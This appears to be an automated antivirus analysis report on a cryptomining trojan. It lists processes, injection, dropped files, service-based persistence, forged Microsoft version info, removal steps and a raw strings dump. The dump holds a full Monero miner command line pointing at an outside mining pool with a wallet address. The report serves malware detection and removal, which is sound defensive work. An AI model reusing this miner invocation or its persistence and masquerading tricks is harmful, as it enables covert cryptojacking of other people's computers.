Gen.Variant.Zusy.186786_7a14d10ebc

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1004
srvany.exe:1664

The Trojan injects its code into the following process(es):

Systmsi.exe:896

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1004 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\Systmsi.exe (7972 bytes)
%System%\srvany.exe (8 bytes)

Registry activity

The process %original file name%.exe:1004 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5A 3B 34 6B E6 75 C5 B1 4C 3F A0 24 76 0B BD D8"

[HKLM\System\CurrentControlSet\Services\Mmservesi\Parameters]
"AppDirectory" = "c:\windows\"
"Application" = "c:\windows\svchosi.exe"

The process srvany.exe:1664 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EC 95 5E DE 10 C3 6E 6C F7 A7 7D E3 D1 3B BD D6"

The process Systmsi.exe:896 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D 8D B4 24 E9 7F 10 35 DC 3D 57 58 F2 4D D4 2F"

Dropped PE files

MD5	File path
8b11325f4b729b7072c050035b454759	c:\WINDOWS\Systmsi.exe
4635935fc972c582632bf45c26bfcb0e	c:\WINDOWS\system32\srvany.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:1004
   srvany.exe:1664
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %WinDir%\Systmsi.exe (7972 bytes)
   %System%\srvany.exe (8 bytes)

4. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Microsoft Corporation
Product Name: HD Player
Product Version: 6.1.7600.16385
Legal Copyright: (c) Microsoft Corporation. All rights reserved.
Legal Trademarks:
Original Filename: HelpPane.exe
Internal Name: HelpPane.exe
File Version: 6.1.7600.16385 (win7_rtm.090713-1255)
File Description: Microsoft Help and Support
Comments:
Language: English (United States)

Company Name: Microsoft CorporationProduct Name: HD Player Product Version: 6.1.7600.16385Legal Copyright: (c) Microsoft Corporation. All rights reserved.Legal Trademarks: Original Filename: HelpPane.exeInternal Name: HelpPane.exeFile Version: 6.1.7600.16385 (win7_rtm.090713-1255)File Description: Microsoft Help and SupportComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	543626	544768	4.55417	b5c4cd2bff5ed212ce658de7d0071d05
.rdata	548864	3115030	3117056	5.49669	789993537fad7280715ed772652d8148
.data	3665920	162376	73728	3.50315	f2f3e9db0b1210ac4c24fcc24f3a2953
.rsrc	3829760	49152	49152	3.81209	a23c9ce9f88d0a269bccf6dfc2bc687c

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1004:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

t$(SSh

t$(SSh

~%UVW

~%UVW

u$SShe

u$SShe

advapi32.dll

advapi32.dll

Advapi32.dll

Advapi32.dll

Kernel32.dll

Kernel32.dll

kernel32.dll

kernel32.dll

ADVAPI32.DLL

ADVAPI32.DLL

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

GetServiceKeyNameA

GetServiceKeyNameA

Systmsi.exe

Systmsi.exe

Systmsi.exe -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

Systmsi.exe -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

Systmssi.exe

Systmssi.exe

Systmssi.exe -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

Systmssi.exe -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

.pdata

.pdata

@.tls

@.tls

.vmp0

.vmp0

.vmp1

.vmp1

.reloc

.reloc

@.rsrc

@.rsrc

Ap.JPQ

Ap.JPQ

.RDpd

.RDpd

bl.yr%$k

bl.yr%$k

|z%CM

|z%CM

Delk.Zj

Delk.Zj

vL]%f

vL]%f

t%6Uj)

t%6Uj)

aWX.oF

aWX.oF

T.Lb`gdi

T.Lb`gdi

n.bR1

n.bR1

.Kfr:

.Kfr:

)%cl-

)%cl-

.ziPgw

.ziPgw

Nj.mK

Nj.mK

.lrY(

.lrY(

[I%uK

[I%uK

"i%fW

"i%fW

xr.RL

xr.RL

k[.na

k[.na

.Us=31

.Us=31

udPB

udPB

%DyIT

%DyIT

D5.pi

D5.pi

.jiE-

.jiE-

.kMrZ*6~

.kMrZ*6~

]T>0}%F

]T>0}%F

.TEgD

.TEgD

h.qus0

h.qus0

-!.SU

-!.SU

-`.cN@

-`.cN@

hJ.dFW

hJ.dFW

.jMvo

.jMvo

.hY(f

.hY(f

oj.NXg

oj.NXg

o%S '

o%S '

z:%cIC

z:%cIC

;y..Zi"K

;y..Zi"K

WP{m.topE

WP{m.topE

.kcT[

.kcT[

dy).pg

dy).pg

C.Apg

C.Apg

i%Do.

i%Do.

I%d)m

I%d)m

mg.un4`

mg.un4`

Kn.IV

Kn.IV

$l:%X

$l:%X

I%u=i

I%u=i

MTa.zi

MTa.zi

.zif`

.zif`

yn,J%C

yn,J%C

%xKn1(c

%xKn1(c

gx`%c

gx`%c

m.XhY

m.XhY

5tX&%c

5tX&%c

.dNnY

.dNnY

v.hmf

v.hmf

eB.jX

eB.jX

R.ta!]W

R.ta!]W

.hp%*

.hp%*

kwo.gD

kwo.gD

wq-Z}

wq-Z}

.hCxip

.hCxip

hfTp

hfTp

.WHj&

.WHj&

FL.Zn

FL.Zn

X.zh:^

X.zh:^

(.%cR

(.%cR

G.qMK

G.qMK

,.zXfU

,.zXfU

%XV

%XV

Rv.cOQKM

Rv.cOQKM

vpþ

vpþ

SkIt%C

SkIt%C

/K%xB#S

/K%xB#S

|8`8%d

|8`8%d

KERNEL32.dll

KERNEL32.dll

Zic%f

Zic%f

/.BBE

/.BBE

Z8A.Vy@H

Z8A.Vy@H

H.HOB

H.HOB

WS2_32.dll

WS2_32.dll

EnumChildWindows

EnumChildWindows

lW.my

lW.my

,5".01 8

,5".01 8

9:T.Yu

9:T.Yu

.IH92

.IH92

^Duser32.dll

^Duser32.dll

USER32.dll

USER32.dll

.lWU*)/

.lWU*)/

ecb_Ã

ecb_Ã

]Fd.TC$@

]Fd.TC$@

%d`#25

%d`#25

.%SJ'6x

.%SJ'6x

4E%D:

4E%D:

.eDRk

.eDRk

X8%D@B$ $

X8%D@B$ $

z%Xz

z%Xz

D .Bj

D .Bj

^_t%u#

^_t%u#

10\.ga7

10\.ga7

Mb9_9.ap

Mb9_9.ap

t{%d?h

t{%d?h

#..kS1

#..kS1

).saHc

).saHc

1.AFu

1.AFu

'nl%f

'nl%f

`X.bf

`X.bf

~'_%c

~'_%c

C^.ar

C^.ar

(ýn

(ýn

~%C>I

~%C>I

c.Zi~

c.Zi~

RO}.gB"05

RO}.gB"05

T~(%f

T~(%f

I~.VC

I~.VC

#.Im%"a

#.Im%"a

yd.KI

yd.KI

sb$i.Tik]

sb$i.Tik]

WXR.Jc

WXR.Jc

n`%UI

n`%UI

%dXqE

%dXqE

G.Rtr

G.Rtr

.Zbh|

.Zbh|

>?%Xf

>?%Xf

, *10/.5

, *10/.5

9.eRY

9.eRY

.qx )

.qx )

'?yADVAPI32.dll

'?yADVAPI32.dll

E:\CryptoNight\bitmonero-master\src\miner\x64\CPU-Release\Crypto.pdb

E:\CryptoNight\bitmonero-master\src\miner\x64\CPU-Release\Crypto.pdb

true

true

d`.OE

d`.OE

dlo%S

dlo%S

11D1

11D1

434~4&585

434~4&585

3 3$3(3,30343

3 3$3(3,30343

7|7r7

7|7r7

7|7R7a7

7|7R7a7

9 9$9(9,90949~9

9 9$9(9,90949~9

4 4$4(4,4044484

4 4$4(4,4044484

1 1$1(1,1014181

1 1$1(1,1014181

; ;$;(;,;

; ;$;(;,;

8(8,80848

8(8,80848